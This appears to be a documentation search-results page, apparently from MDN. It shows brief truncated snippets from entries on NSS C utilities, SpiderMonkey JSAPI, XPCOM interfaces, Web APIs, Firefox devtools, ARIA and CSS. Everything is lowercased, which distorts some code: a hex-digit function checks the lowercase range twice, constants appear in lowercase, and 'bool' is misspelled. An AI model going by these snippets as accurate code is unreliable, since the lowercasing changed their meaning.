...t, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * getdigit */ int getdigit(char c) { if (c == 0) { return -1; } if (c <= '9' && c >= '0') { return c - '0'; } if (c <= 'f' && c >= 'a') { return c - 'a' + 0xa; } if (c <= 'f' && c >= 'a') { return c - 'a' + 0xa; } return -1; } /* * hextobuf */ int hextobuf(unsigned char *instring, secitem *outbuf, prbool ishexdata) { int len = strlen(instring); int...
..._getopenfileinfo(src, &info); if (prstatus != pr_success) { return secfailure; } dst->data = 0; if (secitem_allocitem(null, dst, info.size)) { numbytes = pr_read(src, dst->data, info.size); if (numbytes == info.size) { return secsuccess; } } secitem_freeitem(dst, pr_false); dst->data = null; return secfailure; } /* * echooff */ static void echooff(int fd) { if (isatty(fd)) { struct termios tio; tcgetattr(fd, &tio); tio.c_lflag &= ~echo; tcsetattr(fd, tcsaflush, &tio); } } /* * echoon */ static void echoon(int fd) { if (isatty(fd)) { struct termios tio; tcgetattr(fd, &tio); tio.c_lflag |= echo; tcsetattr(fd, tcsaflush, &tio); } } /* * checkp...
...And 10 more matches
JIT Optimization Outcomes
singleton types are assigned to objects that are "one of a kind", such as global objects, literal objects declared in the global scope, and top-level function objects.
...objects which are used in ways that suggest they are hashtables are turned into dictionary objects and their types marked as such.
... nonwritableproperty the property being assigned to is not writable for some types of objects which are used in this operation.
...And 10 more matches
JSAPI Cookbook
// javascript var global = this; there is a function, js_getglobalforscopechain(cx), that makes a best guess, and sometimes that is the best that can be done.
...ve", 24); it looks so simple in javascript, but a jsapi application has to do three things here: look up the constructor, person prepare the arguments ("dave", 24) call js_new to simulate the new keyword (if your constructor doesn't take any arguments, you can skip the second step and call js_new(cx, constructor, 0, null) in step 3.) /* jsapi */ /* step 1 - get the value of |person| and check that it is an object.
... // javascript throw new error("failed to grow " + varietal + ": too many greenflies."); /* jsapi */ js_reporterror(cx, "failed to grow %s: too many greenflies.", varietal); return false; to internationalize your error messages, and to throw other error types, such as syntaxerror or typeerror, use js_reporterrornumber instead.
...And 10 more matches
JS::Evaluate
syntax // added in spidermonkey 45 bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, js::sourcebufferholder &srcbuf, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, const char *bytes, size_t length, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, const char *filename, js::mutablehandlevalue rval); bool js::evaluate...
...(jscontext *cx, js::autoobjectvector &scopechain, const readonlycompileoptions &options, const char16_t *chars, size_t length, js::mutablehandlevalue rval); // added in spidermonkey 17 bool js::evaluate(jscontext *cx, js::autoobjectvector &scopechain, const js::readonlycompileoptions &options, js::sourcebufferholder &srcbuf, js::mutablehandlevalue rval); // obsolete since jsapi 39 bool js::evaluate(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, js::sourcebufferholder &srcbuf, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::mutableha...
...ndlevalue rval); bool js::evaluate(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const char *bytes, size_t length, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const char *filename, js::mutablehandlevalue rval); name type description cx jscontext * the context in which to run the script.
...And 10 more matches
JS_AlreadyHasOwnProperty
syntax boo js_alreadyhasownproperty(jscontext *cx, js::handleobject obj, const char *name, bool *foundp); boo js_alreadyhasownucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, bool *foundp); boo js_alreadyhasownpropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, bool *foundp); // added in spidermonkey 1.8.1 boo js_alreadyhasownelement(jscontext *cx, js::handleobject obj, uint32_t index, bool *foundp); name type description cx jscontext * pointer to a js context.
... obj jsobject * the object to be searched.
... name or id const char * or const char16_t *or js::handleid (in js_alreadyhasownproperty, alreadyhasownucproperty, and js_alreadyhasownpropertybyid) the name of the property to search for.
...And 10 more matches
JS_GetGCParameter
key jsgcparamkey specifies which garbage collection parameter to get or set.
... typedef enum jsgcparamkey { jsgc_max_bytes, jsgc_max_malloc_bytes, jsgc_max_nursery_bytes, jsgc_bytes, jsgc_number, jsgc_mode, jsgc_unused_chunks, jsgc_total_chunks, jsgc_slice_time_budget, jsgc_mark_stack_limit, jsgc_high_frequency_time_limit, jsgc_high_frequency_low_limit, jsgc_high_frequency_high_limit, jsgc_high_frequency_heap_growth_max, jsgc_high_frequency_heap_growth_min, jsgc_low_frequency_heap_growth, jsgc_dynamic_heap_growth, jsgc_dynamic_mark_slice, jsgc_allocation_threshold, jsgc_min_empty_chunk_count, jsgc_max_empty_chunk_count, jsgc_compaction_enabled, jsgc_allocation_threshold_factor, ...
... jsgc_allocation_threshold_factor_avoid_interrupt, jsgc_nursery_free_threshold_for_idle_collection, jsgc_pretenure_threshold, jsgc_pretenure_group_threshold, jsgc_nursery_free_threshold_for_idle_collection_percent, jsgc_min_nursery_bytes, jsgc_min_last_ditch_gc_period, } jsgcparamkey; value (c++/js shell) description jsgc_max_bytes / "maxbytes" maximum nominal heap before last ditch gc.
...And 10 more matches
Setting up CDT to work on SpiderMonkey
the initial build was in clang, so the modified build commands look like this: mkdir _dbg.obj cd _dbg.obj cc='clang -qunused-arguments -fcolor-diagnostics' cxx='clang++ -qunused-arguments -fcolor-diagnostics' \ ../configure --enable-debug --disable-optimize --enable-debug-symbols note: if you want to use ccache, you can enable it by adding --with-ccache to the arguments list.
... due to a bug in cdt, you have to make a small change to cdt's build configuration as explained in step 3 below for that to work, though.
... step 2 - installing eclipse and setting up the project the following run-down is a condensed and updated version of what is explained in much more detail for the entire mozilla codebase.
...And 10 more matches
Signing Mozilla apps for Mac OS X
mac os x's gatekeeper functionality prevents users from launching applications that haven't been code-signed, in order to help keep their computers secure.
...for projects that don't use mozilla's release automation and would like to be signed for secure launching on os 10.8 mountain lion and later, this guide should provide some insight into how to make sure applications are signed correctly using apple's codesign tool.
... while testing and debugging for test and debug purposes, the easiest way to get a signing certificate is to use apple's keychain feature to create one.
...And 10 more matches
Using the Places annotation service
it is usable from trusted firefox code such as extensions, but not from web pages.
...which one to use is usually dictated by the application.
...the annotation service does not currently enforce the annotation name format, but this may change in the future.
...And 10 more matches
How to build an XPCOM component in JavaScript
if you are looking for add-on sdk solution for xpcom javascript components then check out platform/xpcom module first.
... implementation this example component will expose a single method, which returns the string "hello world!".
...here's the xpidl definition for our helloworld component: helloworld.idl #include "nsisupports.idl" [scriptable, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)] interface nsihelloworld : nsisupports { string hello(); }; note that you must generate a new uuid for each xpcom component that you create.
...And 10 more matches
mozIPlacesAutoComplete
toolkit/components/places/public/moziplacesautocomplete.idlscriptable this interface provides some constants used by the places autocomplete search provider as well as methods to track opened pages for autocomplete purposes.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void registeropenpage(in nsiuri auri); void unregisteropenpage(in nsiuri auri); constants constant value description match_anywhere 0 match anywhere in each searchable term.
... match_boundary_anywhere 1 match first on word boundaries, and if we do not get enough results, then match anywhere in each searchable term.
...And 10 more matches
nsICompositionStringSynthesizer
dom/interfaces/base/nsicompositionstringsynthesizer.idlscriptable this interface is a composition string synthesizer interface that synthesizes composition string with arbitrary clauses and a caret 1.0 66 introduced gecko 26 obsolete gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) this interface is obsoleted in gecko 38.
...eate an instance for this: var domwindowutils = window.windowutils; var compositionstringsynthesizer = domwindowutils.createcompositionstringsynthesizer(); for example, when you create a composition whose composing string is "foo-bar-buzz" and "bar" is selected to convert, then, first, you need to start composition: domwindowutils.sendcompositionevent("compositionstart", "", ""); next, dispatch composition string with crause information and caret information (optional): // set new composition string with .setstring().
...(optional) compositionstringsynthesizer.setcaret("foo-bar".length, 0); // dispatch dom events to modify the focused editor compositionstringsynthesizer.dispatchevent(); when you modify the composing string, you don't need to recreate the instance anymore.
...And 10 more matches
nsICryptoHash
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm); void initwithstring(in acstring aalgorithm); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long a...
...len); constants hash algorithms these constants are used by the init() method to indicate which hashing function to use.
...manch("init") ..
...And 10 more matches
nsIDragService
inherits from: nsisupports last changed in gecko 43 (firefox 43 / thunderbird 43 / seamonkey 2.40) note: using this interface directly from add-on code is deprecated.
...the only exception is getcurrentsession(), since there's currently no way to check for a drag in progress using standard dom methods or properties.
... methods native code only!dragmoved programmatically changes the drag position of the drag session.
...And 10 more matches
nsIMicrosummaryService
1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/microsummary/service;1 as a service: var microsummaryservice = components.classes["@mozilla.org/microsummary/service;1"] .getservice(components.interfaces.nsimicrosummaryservice); method overview void addgenerator(in nsiuri generatoruri); nsimicrosummary createmicrosummary(in nsiuri p...
...the set might change after this method returns, since this method will trigger an asynchronous load of the page in question (if it isn't already loaded) to see if it references any page-specific microsummaries.
... if the caller passes a bookmark id, and one of the microsummaries is the current one for the bookmark, this method will retrieve content from the datastore for that microsummary, which is useful when callers want to display a list of microsummaries for a page that isn't loaded, and they want to display the actual content of the selected microsummary immediately (rather than after the content is asynchronously loaded).
...And 10 more matches
nsIMsgDBHdr
in clear, if you want to do a persistent change to a message header, such as marking it as read, or replied to, or whatever, you must do it through its corresponding nsimsgfolder (msghdr.folder) or nsimsgdatabase (msghdr.folder.msgdatabase).
... void setstringproperty(in string propertyname, in string propertyvalue); string getstringproperty(in string propertyname); unsigned long getuint32property(in string propertyname); void setuint32property(in string propertyname, in unsigned long propertyval); void markread(in boolean read); void markflagged(in boolean flagged); void markhasattachments(in boolean hasattachments); void setprioritystring(in string priority); unsigned long orflags(in unsigned long flags); unsigned long andflags(in unsigned long flags); void setreferences(in string references); acstring getstringreference(in long refnum); void setrecipientsarray(in string names, in string addresses,in unsigned long numaddre...
...if you want to know whether the message is the root of an ignored subthread then you should check for the ignored flag.
...And 10 more matches
nsIMsgDBView
available in the mozilla codebase are types "quicksearch", "threadswithunread", "watchedthreadswithunread", "xfvf" (virtual folders), "search", "group", and "threaded" each with their own implementation of nsimsgdbview that provides a different sorting/view of the data.
...dupdater acommandupdater); void sort(in nsmsgviewsorttypevalue sorttype, in nsmsgviewsortordervalue sortorder); void docommand(in nsmsgviewcommandtypevalue command); void docommandwithfolder(in nsmsgviewcommandtypevalue command, in nsimsgfolder destfolder); void getcommandstatus(in nsmsgviewcommandtypevalue command, out boolean selectable_p, out nsmsgviewcommandcheckstatevalue selected_p); void viewnavigate(in nsmsgnavigationtypevalue motion, out nsmsgkey resultid, out nsmsgviewindex resultindex, out nsmsgviewindex threadindex, in boolean wrap); boolean navigatestatus(in nsmsgnavigationtypevalue motion); nsmsgkey getkeyat(in nsmsgviewindex index); nsimsgdbhdr getmsghdrat(in nsmsgviewindex index); nsimsgfolder ge...
... searchsession nsimsgsearchsession the current search session.
...And 10 more matches
nsIPermissionManager
last changed in gecko 16 (firefox 16 / thunderbird 16 / seamonkey 2.13) inherits from: nsisupports method overview void add(in nsiuri uri, in string type, in pruint32 permission, [optional] in pruint32 expiretype, [optional] in print64 expiretime); void addfromprincipal(in nsiprincipal principal, in string type, in pruint32 permission, [optional] in pruint32 expiretype, [optional] in print64 expiretime); void remove(in autf8string host, in string type); void removefromprincipal(in nsiprinci...
...consumers should choose this string to be unique, with respect to other consumers.
...consumers should choose this string to be unique, with respect to other consumers.
...And 10 more matches
nsIProtocolProxyService
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/network/protocol-proxy-service;1.
...proxy auto config (pac) may perform a synchronous dns query, which may not return immediately.
... if the protocol handler for the given uri supports nsiproxiedprotocolhandler, then the nsiproxyinfo instance returned from resolve may be passed to the nsiproxiedprotocolhandler.newproxiedchannel() method to create a nsichannel to the given uri that uses the specified proxy.
...And 10 more matches
nsISupports proxies
xpcom proxies were a technology which allowed code to make asynchronous or synchronous xpcom calls to a different thread on arbitrary xpcom interfaces.
... this technology has been removed in firefox 12 because it was very complex and often lead to strange deadlock conditions.
... it is no longer needed because javascript code can no longer run on arbitrary threads, and compiled code can use compiled runnable to achieve the same effect in a much simpler manner.
...And 10 more matches
nsITransactionListener
inherits from: nsisupports last changed in gecko 1.7 method overview void didbeginbatch(in nsitransactionmanager amanager, in nsresult aresult); void diddo(in nsitransactionmanager amanager, in nsitransaction atransaction, in nsresult adoresult); void didendbatch(in nsitransactionmanager amanager, in nsresult aresult); void didmerge(in nsitransactionmanager amanager, in nsitransaction atoptransaction, in nsitransaction atransactiontomerge, in boolean adidmerge, in nsresult amergeresult); void didredo(in nsitransactionmanager amanager, in nsitransaction atransaction, in nsresult aredoresult); void didundo(in nsitransactionmanager amanager, in ...
...nsitransaction atransaction, in nsresult aundoresult); boolean willbeginbatch(in nsitransactionmanager amanager); boolean willdo(in nsitransactionmanager amanager, in nsitransaction atransaction); boolean willendbatch(in nsitransactionmanager amanager); boolean willmerge(in nsitransactionmanager amanager, in nsitransaction atoptransaction, in nsitransaction atransactiontomerge); boolean willredo(in nsitransactionmanager amanager, in nsitransaction atransaction); boolean willundo(in nsitransactionmanager amanager, in nsitransaction atransaction); methods didbeginbatch() called after a nsitransactionmanager begins a batch.
... void didbeginbatch( in nsitransactionmanager amanager, in nsresult aresult ); parameters amanager the nsitransactionmanager that began a batch.
...And 10 more matches
nsIVariant
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview acstring getasacstring(); native code only!
... char getaschar(); native code only!
... wchar getaswchar(); native code only!
...And 10 more matches
nsIWebBrowser
embedders use this interface during initialization to associate the new web browser instance with the embedders chrome and to register any listeners.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) warning: this interface was frozen for a very long time, but was unfrozen for gecko 2.0.
... method overview void addwebbrowserlistener(in nsiweakreference alistener, in nsiidref aiid); void removewebbrowserlistener(in nsiweakreference alistener, in nsiidref aiid); attributes attribute type description containerwindow nsiwebbrowserchrome the chrome object associated with the browser instance.
...And 10 more matches
nsPIPromptService
embedding/components/windowwatcher/public/nspipromptservice.idlscriptable this interface is for the dialog implementers, not for other developers.
... inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: the contract id isn't defined.
... this interface defines the meaning of each indexes of getint(), setint(), getstring() and setstring() of the nsidialogparamblock interface but they are defined on in c++.
...And 10 more matches
XPCOM Interface Reference by grouping
security this section contains apis for secure channel communications system this section contains application level interfaces including calls to external support elements (such as device calls).
... browser autocomplete nsiautocompletecontroller nsiautocompleteinput nsiautocompletesearch console nsiconsolelistener nsiconsolemessage nsiconsoleservice document nsidocshell dom device nsidomgeogeolocation nsidomgeoposition nsidomgeopositionaddress nsidomgeopositioncallback nsidomgeopositioncoords nsidomgeopositionerror nsidomgeopositionerrorcallback nsidomgeopositionoptions nsidomglobalpropertyinitializer element nsidomchromewindow nsidomclientrect nsidomelement nsidomhtmlaudioelement nsidomhtmlformeleme...
...eelement nsidomhtmltimeranges nsidomjswindow nsidomnode nsidomnshtmldocument nsidomstorageitem nsidomstoragemanager nsidomwindow nsidomwindow2 nsidomwindowinternal nsidomwindowutils nsidynamiccontainer nsieditor event nsidomevent nsidomeventgroup nsidomeventlistener nsidomeventtarget nsidommousescrollevent nsidommoztouchevent nsidomorientationevent nsidomprogressevent nsidomsimplegestureevent nsidragdrophandler nsidragservice nsidragsession html nsiaccessibilityservice nsiaccessiblecoordinatetype nsiaccessibledocument nsiaccessibleeditabletext nsiaccessibleevent nsiaccessiblehyperlink nsiaccessiblehypertext nsiaccessibleimage nsiaccessibleprovide...
...And 10 more matches
Creating a gloda message query
you can find the file, which includes doxygen markup of sorts, here: https://hg.mozilla.org/comm-central/file/tip/mailnews/db/gloda/modules/gloda.js components.utils.import("resource:///modules/gloda/public.js"); create the query let query = gloda.newquery(gloda.noun_message); add constraints to the query each constraint function takes one or more arguments which are "or"ed together.
... so if we had a "color" constraint such as query.color("red", "green", "blue") would mean any of red, green, or blue is okay.
... so if we had a "shape" constraint such as query.shape("square") and we combined it with the previous color constraint it would match a red square, a green square, or a blue square.
...And 10 more matches
Aggregate view - Firefox Developer Tools
after firefox 48, the default view is the tree map view, and you can switch to the aggregate view using the dropdown labeled "view:": the aggregate view looks something like this: it presents a breakdown of the heap's contents, as a table.
... there are three main ways to group the data: type call stack inverted call stack you can switch between them using the dropdown menu labeled "group by:" located at the top of the panel: there's also a box labeled "filter" at the top-right of the pane.
... type this is the default view, which looks something like this: it groups the things on the heap into types, including: javascript objects: such as function or array dom elements: such as htmlspanelement or window strings: listed as "strings" javascript sources: listed as "jsscript" internal objects: such as "js::shape".
...And 10 more matches
Work with animations - Firefox Developer Tools
this article covers three tools you can use to visualize and edit animations: the animation inspector editing @keyframes editing timing functions animation inspector the page inspector's animations view displays animations in the page synchronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point.
...if you click the icon, it enlarges and changes to color, and the name of the browser appears.
... right-click in the box and select "inspect element" make sure the selected element is the <div class="channel"> switch over to the "animations" tab play the animation let's take a closer look at the contents of the animation inspector here: it shows a synchronized timeline for every animation applied to the selected element or its children.
...And 10 more matches
DOMMatrixReadOnly - Web APIs
the dommatrix interrface—which is based upon dommatrixreadonly—adds mutability, allowing you to alter the matrix after creating it.
...the identity matrix is one in which every value is 0 except those on the main diagonal from top-left to bottom-right corner (in other words, where the offsets in each direction are equal).
... m11, m12, m13, m14, m21, m22, m23, m24, m31, m32, m33, m34, m41, m42, m43, m44 double-precision floating-point values representing each component of a 4×4 matrix, where m11 through m14 are the first column, m21 through m24 are the second column, and so forth.
...And 10 more matches
Element.getElementsByTagName() - Web APIs
all descendants of the specified element are searched, but not the element itself.
... the returned list is live, which means it updates itself with the dom tree automatically.
... therefore, there is no need to call element.getelementsbytagname() with the same element and arguments repeatedly if the dom changes in between calls.
...And 10 more matches
ExtendableEvent - Web APIs
the extendableevent interface extends the lifetime of the install and activate events dispatched on the global scope as part of the service worker lifecycle.
... this ensures that any functional events (like fetchevent) are not dispatched until it upgrades database schemas and deletes the outdated cache entries.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/extendableevent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="co...
...And 10 more matches
FileSystemEntrySync - Web APIs
it also introduces a new url scheme: filesystem:.
... you can use the filesystem: scheme on google chrome to see all the files and folders that are stored in the origin of your app.
... just use filesystem: scheme for the root directory of the origin of the app.
...And 10 more matches
File and Directory Entries API support in Firefox - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
...work to standardize the specification was abandoned back in 2012, but by that point, google chrome included its own implementation of the api.
... over time, a number of popular sites and web applications came to use it, often without providing any means of falling back to standard apis or even checking to be sure the api is available before using it.
...And 10 more matches
Using the Geolocation API - Web APIs
this initiates an asynchronous request to detect the user's position, and queries the positioning hardware to get up-to-date information.
... watching the current position if the position data changes (either by device movement or if more accurate geo information arrives), you can set up a callback function that is called with that updated position information.
... this is done using the watchposition() function, which has the same input parameters as getcurrentposition().
...And 10 more matches
Navigator - Web APIs
WebAPINavigator
navigator.battery read only returns a batterymanager object you can use to get information about the battery charging status.
... navigator.keyboard read only returns a keyboard object which provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard.
... navigator.locks read only returns a lockmanager object which provides methods for requesting a new lock object and querying for an existing lock object navigator.mediacapabilities read only returns a mediacapabilities object that can expose information about the decoding and encoding capabilities for a given format and output capabilities.
...And 10 more matches
NotificationEvent - Web APIs
the parameter passed into the onnotificationclick handler, the notificationevent interface represents a notification click event that is dispatched on the serviceworkerglobalscope of a serviceworker.
... example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apith...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 10 more matches
ParentNode - Web APIs
the parentnode mixin contains methods and properties that are common to all types of node objects that can have children.
... properties parentnode.childelementcount read only returns the number of children of this parentnode which are elements.
... parentnode.children read only returns a live htmlcollection containing all of the element objects that are children of this parentnode, omitting all of its non-element nodes.
...And 10 more matches
SVGCircleElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 700 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 10 more matches
SourceBuffer - Web APIs
the sourcebuffer interface represents a chunk of media to be passed into an htmlmediaelement and played, via a mediasource object.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/sourcebuffer" target="_top"><rect x="151" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-fa...
...mily="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sourcebuffer</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties sourcebuffer.appendwindowend controls the timestamp for the end of the append window.
...And 10 more matches
SubtleCrypto.sign() - Web APIs
WebAPISubtleCryptosign
it returns a promise which will be fulfilled with the signature.
...the choice of digest algorithm is passed into the generatekey() or importkey() functions.
... the fourth algorithm — hmac — uses the same algorithm and key for signing and for verification: this means that the verification key must be kept secret, which in turn means that this algorithm is not suitable for many signature use cases.
...And 10 more matches
WebGLRenderingContext.framebufferTexture2D() - Web APIs
the webglrenderingcontext.framebuffertexture2d() method of the webgl api attaches a texture to a webglframebuffer.
... syntax void gl.framebuffertexture2d(target, attachment, textarget, texture, level); parameters target a glenum specifying the binding point (target).
... attachment a glenum specifying the attachment point for the texture.
...And 10 more matches
WebGLRenderingContext.vertexAttribPointer() - Web APIs
type a glenum specifying the data type of each component in the array.
...if stride is 0, the attribute is assumed to be tightly packed, that is, the attributes are not interleaved but each attribute is in a separate block, and the next vertex' attribute follows immediately after the current vertex.
...each vertex has a few attributes, like position, normal vector, or texture coordinate, that are defined in an arraybuffer and will be supplied to the vertex buffer object (vbo).
...And 10 more matches
Taking still photos with WebRTC - Web APIs
each of these is presented side-by-side in its own <div> to facilitate styling and control.
... the first panel on the left contains two components: a <video> element, which will receive the stream from webrtc, and a <button> the user clicks to capture a video frame.
... next, we have a <canvas> element into which the captured frames are stored, potentially manipulated in some way, and then converted into an output image file.
...And 10 more matches
Window.devicePixelRatio - Web APIs
this is useful when dealing with the difference between rendering on a standard display versus a hidpi or retina display, which use more screen pixels to draw the same objects, resulting in a sharper image.
... you can use window.matchmedia() to check if the value of devicepixelratio changes (which can happen, for example, if the user drags the window to a display with a different pixel density).
... use window.devicepixelratio to determine how much extra pixel density should be added to allow for a sharper image.
...And 10 more matches
ARIA: form role - Accessibility
the html <form> element is sufficient to tell assistive technologies that there is a form.
...main or search).
...make sure to have a unique label on each form in a document to help users understand the purpose of the form.
...And 10 more matches
Keyboard - Accessibility
this includes users of screen readers, but can also include users who have trouble operating a pointing device such as a mouse or trackball, or whose mouse is not working at the moment, or who simply prefer to use a keyboard for input whenever possible.
... focusable elements should have interactive semantics if an element can be focused using the keyboard, then it should be interactive; that is, the user should be able to do something to it and produce a change of some kind (for example, activating a link or changing an option).
... note: one important exception to this rule is if the element has role="document" applied to it, inside an interactive context (such as role="application").
...And 10 more matches
Border-radius generator - CSS: Cascading Style Sheets
<div class="ui-input-slider" data-topic="height" data-info="height" data-unit=" px" data-min="75" data-max="350" data-sensivity="1"></div> </div> <div id="output"></div> </div> <div class="group section"> <div id="radius-lock"> <div class="info"> rounded corner </div> <div class="ui-checkbox" data-topic='top-left'></div> <div class="ui-checkbox" data-topic='top-right'></div> <div class="ui-checkbox" data-topic='bottom-right'></div> <div class="ui-checkbox" data-topic='bottom-left'></div> </div> <div id="unit-selection"> <div class="info"> select border units </div> </div> ...
...================================================== */ .group:before, .group:after { content: ""; display: table; } .group:after { clear:both; } .group { zoom: 1; /* for ie 6/7 (trigger haslayout) */ } /* grid column setup * ========================================================================== */ .col { display: block; float:left; margin: 1% 0 1% 1.6%; } .col:first-child { margin-left: 0; } /* all browsers except ie6 and lower */ /* * ui component */ .ui-input-slider-container { height: 20px; margin: 10px 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; } .ui-input-slider-container * { float: left; height: 100%; line-height: 100%; } /* input slider */ .ui-input-slider > input { margin: 0; p...
...-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: 5px; color: #fff; font-weight: bold; line-height: 14px; text-align: center; } .ui-input-slider-btn-set:hover { background-color: #379b4a; cursor: pointer; } /* * ui component */ /* checkbox */ .ui-checkbox { text-align: center; font-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height...
...And 10 more matches
Using feature queries - CSS: Cascading Style Sheets
